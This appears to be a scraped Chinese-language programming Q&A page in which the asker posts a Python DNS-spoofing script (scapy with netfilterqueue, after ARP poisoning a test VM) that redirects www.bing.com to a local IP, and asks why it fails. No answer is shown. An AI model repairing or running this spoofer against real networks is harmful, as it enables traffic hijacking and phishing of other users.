python - 带有网站的 DNS 欺骗程序
问题描述
我正在编写新的 DNS Spoofer 代码并使用它进行测试,www.bing.com
但它显示“未找到服务器”
我知道目标 IP(这是我的虚拟机)并毒化了 ARP 连接,然后尝试启用 iptables 的程序,但它不起作用,尽管我可以看到使用package.show()
.
import netfilterqueue
import scapy.all as scapy
def procced_package(package):
scapy_package = scapy.IP(package.get_payload())
if scapy_package.haslayer(scapy.DNSRR):
link = scapy_package[scapy.DNSQR].qname
print("Searching...")
if "www.bing.com" in link:
#print(scapy_package.show())
print("[+] Spoofing Target")
answer = scapy.DNSRR(rrname=link, rdata="192.168.1.12")
scapy_package[scapy.DNS].ar = answer
scapy_package[scapy.DNS].ancount = 1
print("[+] Found The Target!")
del scapy_package[scapy.IP].len
del scapy_package[scapy.IP].chksum
del scapy_package[scapy.UDP].len
del scapy_package[scapy.UDP].chksum
package.set_payload(str(scapy_package))
package.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(1, procced_package)
print("Waiting...")
queue.run()
结果是“未找到服务器”仅适用于我的目标
解决方案
推荐阅读
- amazon-web-services - Jmeter 在 AWS EC2 从站上进行分布式测试
- java - 在JAVA中为List的每个元素动态创建一个List
- python - Python从字典中获取一个反转的元组
- java - 很难理解使用 JPA 存储关系数据(spring boot)
- r - 在R中的列表中访问tbl中的变量
- php - symfony 文件中的 laravel 应用程序托管错误问题
- autocomplete - 自动完成文本字段建议未注册单击事件 SwiftUI
- google-data-studio - 在计算中使用数据洞察日期范围的第一天和最后一天
- javascript - 如何使钢筋的上部变圆?
- reactjs - 如何知道在reactjs中选择了哪个“子”复选框